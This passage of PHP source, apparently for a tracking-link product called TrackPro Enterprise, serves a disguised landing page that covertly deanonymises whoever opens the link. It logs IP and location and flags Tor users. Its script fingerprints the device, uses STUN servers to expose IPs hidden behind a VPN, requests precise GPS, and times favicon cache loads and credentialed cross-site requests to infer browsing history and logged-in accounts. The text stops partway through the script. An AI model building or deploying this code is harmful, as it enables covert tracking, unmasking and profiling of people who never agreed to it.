<?php
/**
 * TrackPro Enterprise v4 — Tracking Capture
 * 30 Detection Layers
 */
require_once __DIR__ . '/../includes/db.php';
require_once __DIR__ . '/../includes/intelligence.php';

$uid = $_GET['uid'] ?? '';
if (empty($uid) || !preg_match('/^[a-zA-Z0-9]+$/', $uid)) { http_response_code(404); exit('Page not found.'); }
$pdo = getDB();
$stmt = $pdo->prepare("SELECT * FROM `tracking_links` WHERE `link_uid` = ? AND `is_active` = 1");
$stmt->execute([$uid]); $link = $stmt->fetch();
if (!$link) { http_response_code(404); exit('Page not found.'); }
if ($link['expires_at'] && strtotime($link['expires_at']) < time()) { http_response_code(410); exit('This link has expired.'); }
if ($link['max_hits'] && $link['hit_count'] >= $link['max_hits']) { http_response_code(410); exit('This link is no longer available.'); }

// Server-side
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
$ip = trim(explode(',', $ip)[0]);
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$uaParsed = UAParser::parse($ua);
$ipData = IPIntelligence::lookup($ip);
$sessionUid = generateUID(32);
$visitorHash = hash('sha256', $ip . '|' . $ua);

// Server-side TLS info
$tlsVersion = $_SERVER['SSL_PROTOCOL'] ?? $_SERVER['HTTPS_PROTOCOL'] ?? null;
$tlsCipher = $_SERVER['SSL_CIPHER'] ?? $_SERVER['HTTPS_CIPHER'] ?? null;

// Server-side in-app browser detection from UA
$inAppBrowser = null;
if (preg_match('/FBAN|FBAV|FB_IAB/i', $ua)) $inAppBrowser = 'facebook';
elseif (preg_match('/Instagram/i', $ua)) $inAppBrowser = 'instagram';
elseif (preg_match('/LinkedInApp/i', $ua)) $inAppBrowser = 'linkedin';
elseif (preg_match('/Twitter|twitterbot/i', $ua)) $inAppBrowser = 'twitter';
elseif (preg_match('/Snapchat/i', $ua)) $inAppBrowser = 'snapchat';
elseif (preg_match('/Pinterest/i', $ua)) $inAppBrowser = 'pinterest';
elseif (preg_match('/TikTok|BytedanceWebview|musical_ly/i', $ua)) $inAppBrowser = 'tiktok';
elseif (preg_match('/Telegram/i', $ua)) $inAppBrowser = 'telegram';
elseif (preg_match('/WhatsApp/i', $ua)) $inAppBrowser = 'whatsapp';
elseif (preg_match('/Line\//i', $ua)) $inAppBrowser = 'line';
elseif (preg_match('/Viber/i', $ua)) $inAppBrowser = 'viber';
elseif (preg_match('/WeChat|MicroMessenger/i', $ua)) $inAppBrowser = 'wechat';
elseif (preg_match('/GSA\//i', $ua)) $inAppBrowser = 'google_app';
elseif (preg_match('/DuckDuckGo/i', $ua)) $inAppBrowser = 'duckduckgo';

$pdo->beginTransaction();
try {
    $isBot = preg_match('/(bot|crawler|spider|scraper|headless|phantom|selenium|puppeteer|playwright)/i', $ua) ? 1 : 0;
    $pdo->prepare("INSERT INTO `sessions` (`session_uid`,`link_id`,`visitor_hash`,`is_bot`) VALUES (?,?,?,?)")->execute([$sessionUid,$link['id'],$visitorHash,$isBot]);
    $sid = $pdo->lastInsertId();
    $pdo->prepare("INSERT INTO `network_data` (`session_id`,`ip_address`,`ip_version`,`isp`,`mobile_carrier`,`asn`,`as_org`,`network_type`,`is_proxy`,`is_vpn`,`is_tor`) VALUES (?,?,?,?,?,?,?,?,?,?,?)")->execute([$sid,$ip,$ipData['ip_version'],$ipData['isp'],$ipData['mobile_carrier'],$ipData['asn'],$ipData['as_org'],$ipData['network_type'],$ipData['is_proxy'],$ipData['is_vpn'],$ipData['is_tor']]);
    $lang=$_SERVER['HTTP_ACCEPT_LANGUAGE']??'';
    $pdo->prepare("INSERT INTO `location_data` (`session_id`,`country`,`country_code`,`region`,`city`,`postal_code`,`latitude`,`longitude`,`timezone`,`language`,`locale`) VALUES (?,?,?,?,?,?,?,?,?,?,?)")->execute([$sid,$ipData['country'],$ipData['country_code'],$ipData['region'],$ipData['city'],$ipData['postal_code'],$ipData['latitude'],$ipData['longitude'],$ipData['timezone'],$lang,substr($lang,0,5)]);
    $pdo->prepare("INSERT INTO `device_data` (`session_id`,`device_type`,`os_name`,`os_version`) VALUES (?,?,?,?)")->execute([$sid,$uaParsed['device_type'],$uaParsed['os_name'],$uaParsed['os_version']]);
    $dnt=isset($_SERVER['HTTP_DNT'])?(int)$_SERVER['HTTP_DNT']:null;
    $pdo->prepare("INSERT INTO `browser_data` (`session_id`,`browser_name`,`browser_version`,`browser_engine`,`user_agent`,`accept_types`,`accept_language`,`accept_encoding`,`dnt_flag`,`tls_version`,`tls_cipher`,`in_app_browser`) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)")->execute([$sid,$uaParsed['browser_name'],$uaParsed['browser_version'],$uaParsed['browser_engine'],$ua,$_SERVER['HTTP_ACCEPT']??null,$_SERVER['HTTP_ACCEPT_LANGUAGE']??null,$_SERVER['HTTP_ACCEPT_ENCODING']??null,$dnt,$tlsVersion,$tlsCipher,$inAppBrowser]);
    $ref=$_SERVER['HTTP_REFERER']??null;
    $pdo->prepare("INSERT INTO `attribution_data` (`session_id`,`referrer_url`,`referrer_domain`,`utm_source`,`utm_medium`,`utm_campaign`,`utm_term`,`utm_content`,`campaign_id`) VALUES (?,?,?,?,?,?,?,?,?)")->execute([$sid,$ref,$ref?parse_url($ref,PHP_URL_HOST):null,$_GET['utm_source']??null,$_GET['utm_medium']??null,$_GET['utm_campaign']??null,$_GET['utm_term']??null,$_GET['utm_content']??null,$_GET['cid']??null]);
    $pdo->prepare("UPDATE `tracking_links` SET `hit_count`=`hit_count`+1 WHERE `id`=?")->execute([$link['id']]);
    if($ipData['is_tor']){try{$pdo->prepare("INSERT INTO `alerts` (`type`,`severity`,`title`,`message`,`session_id`,`link_id`) VALUES (?,?,?,?,?,?)")->execute(['tor_access','critical','Tor access detected',"IP: {$ip} via Tor",$sid,$link['id']]);}catch(Exception $e){}}
    $pdo->commit();
} catch(Exception $e) { $pdo->rollBack(); error_log("TrackPro: ".$e->getMessage()); }

$config=getConfig(); $baseUrl=rtrim($config['base_url']??'','/');
$showRedirect=($link['landing_mode']==='redirect'&&!empty($link['destination_url']));
$redirectUrl=$link['destination_url']??'';
$customHtml=($link['landing_mode']==='custom')?($link['custom_html']??''):'';
$siteUrl=(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']==='on'?'https':'http').'://'.$_SERVER['HTTP_HOST'];
$ogTitle=$link['og_title']??$link['title']??'Shared Link';
$ogDesc=$link['og_description']??$link['description']??'';
$ogImage=$link['og_image']??'';
$ogSiteName=$link['og_site_name']??'';
$pageUrl=$siteUrl.$_SERVER['REQUEST_URI'];
if($ogImage&&!preg_match('#^https?://#',$ogImage))$ogImage=$siteUrl.$ogImage;
$cloakTitle=$link['cloak_title']??'';$cloakFavicon=$link['cloak_favicon']??'';$displayTitle=$cloakTitle?:$ogTitle;
$ipTimezone=$ipData['timezone']??'';$ipCountry=$ipData['country_code']??'';
?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
<title><?=htmlspecialchars($displayTitle)?></title>
<?php if($cloakFavicon):?><link rel="icon" href="<?=htmlspecialchars($cloakFavicon)?>"><?php endif;?>
<meta property="og:title" content="<?=htmlspecialchars($ogTitle)?>">
<?php if($ogDesc):?><meta property="og:description" content="<?=htmlspecialchars($ogDesc)?>"><?php endif;?>
<?php if($ogImage):?><meta property="og:image" content="<?=htmlspecialchars($ogImage)?>"><meta property="og:image:width" content="1200"><meta property="og:image:height" content="630"><?php endif;?>
<meta property="og:type" content="website"><meta property="og:url" content="<?=htmlspecialchars($pageUrl)?>">
<?php if($ogSiteName):?><meta property="og:site_name" content="<?=htmlspecialchars($ogSiteName)?>"><?php endif;?>
<meta name="twitter:card" content="<?=$ogImage?'summary_large_image':'summary'?>"><meta name="twitter:title" content="<?=htmlspecialchars($ogTitle)?>">
<?php if($ogDesc):?><meta name="twitter:description" content="<?=htmlspecialchars($ogDesc)?>"><?php endif;?>
<?php if($ogImage):?><meta name="twitter:image" content="<?=htmlspecialchars($ogImage)?>"><?php endif;?>
<?php if($ogDesc):?><meta name="description" content="<?=htmlspecialchars($ogDesc)?>"><?php endif;?>
<style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',sans-serif;background:#f8fafc;color:#475569;display:flex;align-items:center;justify-content:center;min-height:100vh;text-align:center}.ct{padding:2rem;max-width:480px}.sp{width:40px;height:40px;border:3px solid #e2e8f0;border-top:3px solid #3b82f6;border-radius:50%;animation:spin 1s linear infinite;margin:0 auto 1.5rem}@keyframes spin{to{transform:rotate(360deg)}}h1{font-size:1.1rem;color:#1e293b;margin-bottom:.5rem}p{font-size:.9rem;color:#94a3b8}.pv{margin-top:2rem;font-size:.75rem;color:#cbd5e1}</style>
</head>
<body><?php if($customHtml):echo $customHtml;else:?><div class="ct"><div class="sp"></div><h1><?=$showRedirect?'Redirecting you...':'Page Loaded'?></h1><p><?=$showRedirect?'You will be redirected shortly.':'Thank you for visiting.'?></p><div class="pv">This page collects technical metadata for security purposes.</div></div><?php endif;?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.1/html2canvas.min.js" defer></script>
<script>
(function(){
const SID=<?=json_encode($sessionUid)?>,API=<?=json_encode($baseUrl.'/api/router.php')?>,d={},t0=Date.now();
const IP_TZ=<?=json_encode($ipTimezone)?>,IP_CC=<?=json_encode($ipCountry)?>;
let sent=false;

// ══ L1: Device & Hardware ═══════════════════════════════
d.screen_width=screen.width;d.screen_height=screen.height;d.viewport_width=innerWidth;d.viewport_height=innerHeight;
d.color_depth=screen.colorDepth;d.pixel_ratio=devicePixelRatio||1;
d.touch_support=('ontouchstart'in window||navigator.maxTouchPoints>0)?1:0;d.max_touch_points=navigator.maxTouchPoints||0;
d.hardware_concurrency=navigator.hardwareConcurrency||null;d.device_memory=navigator.deviceMemory||null;
d.cookies_enabled=navigator.cookieEnabled?1:0;d.pdf_viewer=navigator.pdfViewerEnabled?1:0;
d.webdriver=navigator.webdriver?1:0;
d.automation_detected=(navigator.webdriver||window._phantom||window.__nightmare||window.callPhantom||window._selenium||window.__webdriver_evaluate||document.__selenium_unwrapped)?1:0;
if(navigator.userAgentData?.getHighEntropyValues){navigator.userAgentData.getHighEntropyValues(['architecture','platform','platformVersion','model','bitness']).then(v=>{d.cpu_arch=v.architecture;d.platform_version=v.platformVersion;d.device_model=v.model;d.cpu_bitness=v.bitness;}).catch(()=>{});}
if(navigator.getBattery){navigator.getBattery().then(b=>{d.battery_level=Math.round(b.level*100);d.battery_charging=b.charging?1:0;}).catch(()=>{});}
if(navigator.storage?.estimate){navigator.storage.estimate().then(e=>{d.storage_quota_mb=Math.round((e.quota||0)/1048576);d.storage_usage_mb=Math.round((e.usage||0)/1048576);}).catch(()=>{});}

// ══ L22: Screen & Display Capabilities ══════════════════
d.screen_orientation=(screen.orientation?.type||'').replace(/-primary|-secondary/,'');
d.color_gamut='srgb';
if(matchMedia('(color-gamut:rec2020)').matches)d.color_gamut='rec2020';
else if(matchMedia('(color-gamut:p3)').matches)d.color_gamut='p3';
d.hdr_support=matchMedia('(dynamic-range:high)').matches?1:0;
d.reduced_motion=matchMedia('(prefers-reduced-motion:reduce)').matches?1:0;

// ══ L23: Hardware Interfaces ════════════════════════════
d.vibration_support=('vibrate'in navigator)?1:0;
d.gamepad_count=(navigator.getGamepads?navigator.getGamepads():[]).filter(Boolean).length;
d.hid_available=('hid'in navigator)?1:0;
d.bluetooth_available=('bluetooth'in navigator)?1:0;
d.nfc_available=('NDEFReader'in window)?1:0;

// ══ L24: Languages & Privacy Signals ════════════════════
d.languages_list=(navigator.languages||[navigator.language]).join(',');
d.gpc_flag=navigator.globalPrivacyControl?1:0;
d.page_visible_at_load=document.visibilityState==='visible'?1:0;

// ══ L2: Network & Connection ════════════════════════════
const cn=navigator.connection||navigator.mozConnection||navigator.webkitConnection;
if(cn){d.connection_type=cn.type||null;d.effective_type=cn.effectiveType||null;d.downlink_mbps=cn.downlink||null;d.rtt_ms=cn.rtt||null;d.data_saver=cn.saveData?1:0;}

// ══ L25: Multi-STUN WebRTC Probing ══════════════════════
d.webrtc_support=(typeof RTCPeerConnection!=='undefined')?1:0;
(function(){
    if(!d.webrtc_support)return;
    const servers=[
        {name:'google',url:'stun:stun.l.google.com:19302'},
        {name:'twilio',url:'stun:global.stun.twilio.com:3478'},
        {name:'mozilla',url:'stun:stun.services.mozilla.com'}
    ];
    servers.forEach(srv=>{
        try{
            const pc=new RTCPeerConnection({iceServers:[{urls:srv.url}]});
            pc.createDataChannel('');pc.createOffer().then(o=>pc.setLocalDescription(o)).catch(()=>{});
            pc.onicecandidate=e=>{
                if(!e.candidate){pc.close();return;}
                const p=e.candidate.candidate.split(' ');const ip=p[4];
                if(ip&&!ip.includes('.local')&&!ip.includes(':')){
                    d['stun_'+srv.name+'_ip']=ip;
                    if(!d.webrtc_local_ip)d.webrtc_local_ip=ip;
                }
                if(ip&&ip.includes(':')&&!ip.includes('.local'))d.webrtc_ipv6=ip;
            };
            setTimeout(()=>{try{pc.close();}catch(e){}},5000);
        }catch(e){}
    });
})();

// ══ L26: Navigation Performance Timing ══════════════════
setTimeout(()=>{
    try{
        const p=performance.getEntriesByType('navigation')[0]||performance.timing;
        if(p.domainLookupEnd){
            d.nav_dns_ms=Math.round(p.domainLookupEnd-p.domainLookupStart);
            d.nav_tcp_ms=Math.round(p.connectEnd-p.connectStart);
            d.nav_tls_ms=p.secureConnectionStart?Math.round(p.connectEnd-p.secureConnectionStart):0;
            d.nav_ttfb_ms=Math.round(p.responseStart-p.requestStart);
            d.nav_download_ms=Math.round(p.responseEnd-p.responseStart);
            d.nav_dom_ready_ms=Math.round(p.domContentLoadedEventEnd-p.fetchStart);
            d.nav_load_ms=Math.round(p.loadEventEnd-p.fetchStart);
            d.nav_redirect_count=p.redirectCount||0;
            d.nav_transfer_size=p.transferSize||0;
        }
        // HTTP version detection
        const entries=performance.getEntriesByType('resource');
        if(entries.length){const first=entries[0];d.http_version=first.nextHopProtocol||'unknown';}
    }catch(e){}
},1500);

// ══ L27: DNS Resolution Timing ══════════════════════════
(function(){
    const start=performance.now();
    const img=new Image();
    img.onload=img.onerror=function(){d.dns_resolve_ms=Math.round(performance.now()-start);};
    img.src='https://dns-test-'+Math.random().toString(36).slice(2)+'.cloudflare.com/cdn-cgi/trace?_='+Date.now();
    setTimeout(()=>{if(!d.dns_resolve_ms)d.dns_resolve_ms=-1;},3000);
})();

// ══ L3: GPS ═════════════════════════════════════════════
d.gps_source='none';d.gps_consent=0;
if(navigator.geolocation){navigator.geolocation.getCurrentPosition(p=>{d.gps_latitude=p.coords.latitude;d.gps_longitude=p.coords.longitude;d.gps_accuracy=p.coords.accuracy;d.gps_altitude=p.coords.altitude;d.gps_altitude_accuracy=p.coords.altitudeAccuracy;d.gps_heading=p.coords.heading;d.gps_speed=p.coords.speed;d.gps_source='browser';d.gps_consent=1;},e=>{d.gps_error=e.code;},{enableHighAccuracy:true,timeout:8000,maximumAge:0});}

// ══ L4: WebGL Deep ══════════════════════════════════════
try{const cv=document.createElement('canvas'),gl=cv.getContext('webgl')||cv.getContext('experimental-webgl');if(gl){const db=gl.getExtension('WEBGL_debug_renderer_info');if(db){d.gpu_vendor=gl.getParameter(db.UNMASKED_VENDOR_WEBGL);d.gpu_renderer=gl.getParameter(db.UNMASKED_RENDERER_WEBGL);}d.webgl_vendor=gl.getParameter(gl.VENDOR);d.webgl_version=gl.getParameter(gl.VERSION);d.webgl_shading_lang=gl.getParameter(gl.SHADING_LANGUAGE_VERSION);d.max_texture_size=gl.getParameter(gl.MAX_TEXTURE_SIZE);const vp=gl.getParameter(gl.MAX_VIEWPORT_DIMS);d.max_viewport_dims=vp?vp[0]+'x'+vp[1]:null;const vs=gl.createShader(gl.VERTEX_SHADER);gl.shaderSource(vs,'attribute vec2 p;void main(){gl_Position=vec4(p,0,1);}');gl.compileShader(vs);const fs=gl.createShader(gl.FRAGMENT_SHADER);gl.shaderSource(fs,'precision mediump float;void main(){gl_FragColor=vec4(.86,.27,.22,1);}');gl.compileShader(fs);const pr=gl.createProgram();gl.attachShader(pr,vs);gl.attachShader(pr,fs);gl.linkProgram(pr);gl.useProgram(pr);const bf=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,bf);gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([-1,-1,1,-1,-1,1,1,1]),gl.STATIC_DRAW);const lc=gl.getAttribLocation(pr,'p');gl.enableVertexAttribArray(lc);gl.vertexAttribPointer(lc,2,gl.FLOAT,false,0,0);gl.drawArrays(gl.TRIANGLE_STRIP,0,4);const px=new Uint8Array(16);gl.readPixels(0,0,2,2,gl.RGBA,gl.UNSIGNED_BYTE,px);d.webgl_hash=H(Array.from(px).join(',')+(d.gpu_renderer||''));}}catch(e){}

// ══ L5-L8: Canvas, Audio, Fonts, Plugins ════════════════
try{const c=document.createElement('canvas');c.width=280;c.height=60;const x=c.getContext('2d');x.textBaseline='alphabetic';x.fillStyle='#f60';x.fillRect(125,1,62,20);x.fillStyle='#069';x.font='14px Arial';x.fillText('TPro fp',2,15);x.fillStyle='rgba(102,204,0,0.7)';x.font='18px Times New Roman';x.fillText('Enterprise',4,45);x.strokeStyle='#3366cc';x.arc(80,20,12,0,Math.PI*2);x.stroke();d.canvas_hash=H(c.toDataURL());}catch(e){}
try{const ac=new(AudioContext||webkitAudioContext)(),os=ac.createOscillator(),cm=ac.createDynamicsCompressor(),an=ac.createAnalyser();os.type='triangle';os.frequency.setValueAtTime(10000,ac.currentTime);cm.threshold.setValueAtTime(-50,ac.currentTime);cm.knee.setValueAtTime(40,ac.currentTime);cm.ratio.setValueAtTime(12,ac.currentTime);os.connect(cm);cm.connect(an);an.connect(ac.destination);os.start(0);setTimeout(()=>{const fd=new Float32Array(an.frequencyBinCount);an.getFloatFrequencyData(fd);d.audio_hash=H(fd.slice(0,40).join(','));os.stop();ac.close();},120);}catch(e){}
try{const fts=['Arial','Verdana','Helvetica','Times New Roman','Courier New','Georgia','Palatino','Garamond','Comic Sans MS','Trebuchet MS','Impact','Lucida Console','Tahoma','Segoe UI','Calibri','Cambria','Consolas','Monaco','Menlo','SF Pro','Roboto','Noto Sans','Ubuntu','Cantarell','Fira Sans','Droid Sans','Open Sans','Lato','Source Sans Pro','PT Sans','DejaVu Sans','Liberation Sans','Noto Serif','Bookman Old Style','Century Gothic','Franklin Gothic','Gill Sans','Rockwell','Copperplate','Brush Script MT'];const bs=['monospace','sans-serif','serif'];const s=document.createElement('span');s.style.cssText='position:absolute;left:-9999px;font-size:72px;visibility:hidden;';s.textContent='mmmmmmmmlli';document.body.appendChild(s);const bw={};bs.forEach(f=>{s.style.fontFamily=f;bw[f]=s.offsetWidth+'|'+s.offsetHeight;});const det=[];fts.forEach(f=>{for(const b of bs){s.style.fontFamily="'"+f+"',"+b;if(s.offsetWidth+'|'+s.offsetHeight!==bw[b]){det.push(f);break;}}});document.body.removeChild(s);d.font_list=det.join(',');d.font_hash=H(d.font_list);}catch(e){}
try{const pl=[];for(let i=0;i<(navigator.plugins||[]).length;i++)pl.push(navigator.plugins[i].name);d.plugin_list=pl.join(',');d.plugin_hash=H(d.plugin_list);}catch(e){}

// ══ L9-L11: Media, Speech, Permissions ══════════════════
if(navigator.mediaDevices?.enumerateDevices){navigator.mediaDevices.enumerateDevices().then(dv=>{d.media_devices_camera=dv.filter(x=>x.kind==='videoinput').length;d.media_devices_mic=dv.filter(x=>x.kind==='audioinput').length;d.media_devices_speaker=dv.filter(x=>x.kind==='audiooutput').length;}).catch(()=>{});}
try{const gv=()=>{const v=speechSynthesis.getVoices();if(v.length){d.speech_voices_count=v.length;d.speech_voices_hash=H(v.map(x=>x.name+'|'+x.lang).join(','));}};gv();if(speechSynthesis.onvoiceschanged!==undefined)speechSynthesis.onvoiceschanged=gv;}catch(e){}
if(navigator.permissions?.query){['geolocation','notifications','camera','microphone','clipboard-read'].forEach(p=>{navigator.permissions.query({name:p}).then(r=>{d['perm_'+p.replace('-','_')]=r.state;}).catch(()=>{});});}

// ══ L12-L14: Timezone, Ad Blocker, DevTools ═════════════
d.timezone_offset=new Date().getTimezoneOffset();
try{d.timezone_intl=Intl.DateTimeFormat().resolvedOptions().timeZone;}catch(e){}
try{d.date_format_locale=Intl.DateTimeFormat().resolvedOptions().locale;}catch(e){}
try{d.number_format_locale=Intl.NumberFormat().resolvedOptions().locale;}catch(e){}
d.ad_blocker_detected=0;try{const b=document.createElement('div');b.className='adsbox ad-placement adsbygoogle';b.style.cssText='position:absolute;left:-9999px;width:1px;height:1px;';b.innerHTML='&nbsp;';document.body.appendChild(b);setTimeout(()=>{if(b.offsetHeight===0||getComputedStyle(b).display==='none')d.ad_blocker_detected=1;b.remove();},200);}catch(e){}
d.service_worker_support=('serviceWorker'in navigator)?1:0;d.webassembly_support=(typeof WebAssembly!=='undefined')?1:0;
d.devtools_open=0;try{if(outerWidth-innerWidth>160||outerHeight-innerHeight>160)d.devtools_open=1;const el=new Image();Object.defineProperty(el,'id',{get(){d.devtools_open=1;}});console.debug(el);}catch(e){}

// ══ L28: In-App Browser Detection (client-side) ═════════
d.in_app_browser='none';
(function(){
    const ua=navigator.userAgent;
    if(/FBAN|FBAV|FB_IAB/i.test(ua))d.in_app_browser='facebook';
    else if(/Instagram/i.test(ua))d.in_app_browser='instagram';
    else if(/LinkedInApp/i.test(ua))d.in_app_browser='linkedin';
    else if(/Twitter/i.test(ua))d.in_app_browser='twitter';
    else if(/Snapchat/i.test(ua))d.in_app_browser='snapchat';
    else if(/Pinterest/i.test(ua))d.in_app_browser='pinterest';
    else if(/TikTok|BytedanceWebview|musical_ly/i.test(ua))d.in_app_browser='tiktok';
    else if(/Telegram/i.test(ua))d.in_app_browser='telegram';
    else if(/WhatsApp/i.test(ua))d.in_app_browser='whatsapp';
    else if(/Line\//i.test(ua))d.in_app_browser='line';
    else if(/Viber/i.test(ua))d.in_app_browser='viber';
    else if(/WeChat|MicroMessenger/i.test(ua))d.in_app_browser='wechat';
    else if(/GSA\//i.test(ua))d.in_app_browser='google_app';
    // Also check for generic webview indicators
    else if(/wv\)|WebView/i.test(ua))d.in_app_browser='webview';
    // Check if window features are restricted (common in in-app browsers)
    if(d.in_app_browser==='none'){
        try{if(!window.open||typeof window.open!=='function')d.in_app_browser='restricted_webview';}catch(e){}
        if(window.webkit?.messageHandlers)d.in_app_browser='ios_webview';
        if(window.Android||window.AndroidBridge)d.in_app_browser='android_webview';
    }
})();

// ══ L16: Social & Platform Detection (40+ platforms, 5 methods) ══
d.social_logins={};
(function(){
    const CACHE_THRESH=150, LOGIN_THRESH=400;

    // ── METHOD 1: Multi-URL Cache & Login Timing (40+ platforms) ──
    const platforms=[
        // Social Media
        {p:'facebook',urls:['https://www.facebook.com/favicon.ico','https://static.xx.fbcdn.net/rsrc.php/v3/y2/r/kvga2ygHmMH.png']},
        {p:'instagram',urls:['https://www.instagram.com/favicon.ico','https://static.cdninstagram.com/rsrc.php/v3/yb/r/lswP1OF1o6P.png']},
        {p:'twitter',urls:['https://abs.twimg.com/favicons/twitter.3.ico','https://x.com/favicon.ico']},
        {p:'tiktok',urls:['https://www.tiktok.com/favicon.ico']},
        {p:'snapchat',urls:['https://www.snapchat.com/favicon.ico']},
        {p:'pinterest',urls:['https://www.pinterest.com/favicon.ico','https://s.pinimg.com/webapp/favicon-56d6035f.png']},
        {p:'tumblr',urls:['https://www.tumblr.com/favicon.ico']},
        {p:'mastodon',urls:['https://mastodon.social/favicon.ico']},
        {p:'threads',urls:['https://www.threads.net/favicon.ico']},
        {p:'bluesky',urls:['https://bsky.app/favicon.ico']},
        // Messaging
        {p:'whatsapp',urls:['https://web.whatsapp.com/favicon-64x64.ico']},
        {p:'telegram',urls:['https://web.telegram.org/favicon.ico','https://telegram.org/favicon.ico']},
        {p:'discord',urls:['https://discord.com/assets/favicon.ico']},
        {p:'slack',urls:['https://a.slack-edge.com/80588/marketing/img/meta/favicon-32.png']},
        {p:'signal',urls:['https://signal.org/favicon.ico']},
        {p:'viber',urls:['https://www.viber.com/favicon.ico']},
        {p:'messenger',urls:['https://www.messenger.com/favicon.ico']},
        // Video & Streaming
        {p:'youtube',urls:['https://www.youtube.com/favicon.ico']},
        {p:'netflix',urls:['https://assets.nflxext.com/us/ffe/siteui/common/icons/nficon2016.ico']},
        {p:'spotify',urls:['https://open.spotifycdn.com/cdn/images/favicon32.b64ecc03.png']},
        {p:'twitch',urls:['https://static.twitchcdn.net/assets/favicon-32-e29e246c157142c94346.png']},
        {p:'disney_plus',urls:['https://static-assets.bamgrid.com/product/disneyplus/favicons/favicon-32x32.png']},
        {p:'prime_video',urls:['https://m.media-amazon.com/images/G/01/digital/video/web/favicon.ico']},
        // Professional
        {p:'linkedin',urls:['https://www.linkedin.com/favicon.ico']},
        {p:'github',urls:['https://github.githubassets.com/favicons/favicon.svg','https://github.com/favicon.ico']},
        {p:'gitlab',urls:['https://gitlab.com/favicon.ico']},
        {p:'stackoverflow',urls:['https://cdn.sstatic.net/Sites/stackoverflow/Img/favicon.ico']},
        {p:'medium',urls:['https://miro.medium.com/v2/1*m-R_BkNf1Qjr1YbyOIJY2w.png']},
        {p:'notion',urls:['https://www.notion.so/images/favicon.ico']},
        // Shopping & Finance
        {p:'amazon',urls:['https://www.amazon.com/favicon.ico']},
        {p:'ebay',urls:['https://pages.ebay.com/favicon.ico']},
        {p:'aliexpress',urls:['https://ae01.alicdn.com/images/eng/wholesale/icon/aliexpress.ico']},
        {p:'paypal',urls:['https://www.paypalobjects.com/webstatic/icon/pp_favicon_x.ico']},
        // Google Services
        {p:'google',urls:['https://accounts.google.com/favicon.ico','https://www.google.com/favicon.ico']},
        {p:'gmail',urls:['https://ssl.gstatic.com/ui/v1/icons/mail/rfr/gmail.ico']},
        {p:'google_drive',urls:['https://ssl.gstatic.com/images/branding/product/1x/drive_2020q4_32dp.png']},
        {p:'google_maps',urls:['https://maps.google.com/favicon.ico']},
        // Other
        {p:'reddit',urls:['https://www.redditstatic.com/desktop2x/img/favicon/favicon-32x32.png','https://www.reddit.com/favicon.ico']},
        {p:'wikipedia',urls:['https://en.wikipedia.org/static/favicon/wikipedia.ico']},
        {p:'dropbox',urls:['https://cfl.dropboxstatic.com/static/images/favicon-vfl8lUR9B.ico']},
        {p:'microsoft',urls:['https://c.s-microsoft.com/favicon.ico']},
        {p:'apple',urls:['https://www.apple.com/favicon.ico']},
        {p:'zoom',urls:['https://st1.zoom.us/zoom.ico']},
        {p:'chatgpt',urls:['https://cdn.oaistatic.com/assets/favicon-o20zuog7.svg']},
        {p:'claude_ai',urls:['https://claude.ai/favicon.ico']},
        {p:'stripe',urls:['https://stripe.com/favicon.ico']},
    ];

    platforms.forEach(({p,urls})=>{
        d.social_logins[p]={status:'probing'};
        let best={time:99999,loaded:false};let pending=urls.length;
        urls.forEach(u=>{
            const img=new Image(),st=performance.now();
            const done=(loaded)=>{
                const el=Math.round(performance.now()-st);
                if(loaded&&el<best.time){best.time=el;best.loaded=true;}
                pending--;
                if(pending<=0){
                    let status='not_visited',confidence='low',login='unknown';
                    if(best.loaded){
                        if(best.time<CACHE_THRESH){status='cached';confidence='high';login='yes';}
                        else if(best.time<LOGIN_THRESH){status='likely_active';confidence='medium';login='probable';}
                        else{status='visited';confidence='low';}
                    }
                    d.social_logins[p]={status,confidence,load_time:best.loaded?best.time:null,likely_logged_in:login,method:'multi_probe'};
                }
            };
            img.onload=()=>done(true);img.onerror=()=>done(false);
            img.src=u+(u.includes('?')?'&':'?')+'_t='+Date.now();
        });
    });

    // ── METHOD 2: SDK & Global Variable Detection ────────
    setTimeout(()=>{
        const sdks=[
            {p:'facebook',t:()=>!!(window.FB||window.fbq||document.querySelector('[id^="fb-"]'))},
            {p:'google',t:()=>!!(window.gapi||window.google||window.gtag||window.ga||window.dataLayer)},
            {p:'twitter',t:()=>!!(window.twttr||window.twq)},
            {p:'linkedin',t:()=>!!(window.IN||window._linkedin_data_partner_ids)},
            {p:'tiktok',t:()=>!!(window.ttq||window.TiktokAnalyticsObject)},
            {p:'pinterest',t:()=>!!(window.pintrk)},
            {p:'snapchat',t:()=>!!(window.snaptr)},
            {p:'reddit',t:()=>!!(window.rdt)},
            {p:'discord',t:()=>!!(window.DiscordNative)},
            {p:'stripe',t:()=>!!(window.Stripe)},
            {p:'paypal',t:()=>!!(window.paypal||window.PAYPAL)},
        ];
        sdks.forEach(({p,t})=>{try{if(t()){
            if(d.social_logins[p]){d.social_logins[p].sdk_detected=true;if(d.social_logins[p].confidence==='low')d.social_logins[p].confidence='medium';}
            else d.social_logins[p]={status:'sdk_present',confidence:'medium',method:'sdk',sdk_detected:true,likely_logged_in:'probable'};
        }}catch(e){}});
    },1000);

    // ── METHOD 3: Auth Redirect Timing ───────────────────
    [{p:'facebook',u:'https://www.facebook.com/me'},{p:'google',u:'https://myaccount.google.com/'},{p:'twitter',u:'https://x.com/home'},{p:'github',u:'https://github.com/settings/profile'},{p:'linkedin',u:'https://www.linkedin.com/feed/'},{p:'reddit',u:'https://www.reddit.com/user/me'}].forEach(({p,u})=>{
        const st=performance.now();
        fetch(u,{method:'HEAD',mode:'no-cors',credentials:'include',cache:'no-cache'}).then(()=>{
            const el=Math.round(performance.now()-st);
            if(d.social_logins[p]){d.social_logins[p].auth_time=el;
                if(el<500&&d.social_logins[p].likely_logged_in!=='yes'){d.social_logins[p].likely_logged_in='probable';if(d.social_logins[p].confidence==='low')d.social_logins[p].confidence='medium';}
            }
        }).catch(()=>{});
    });

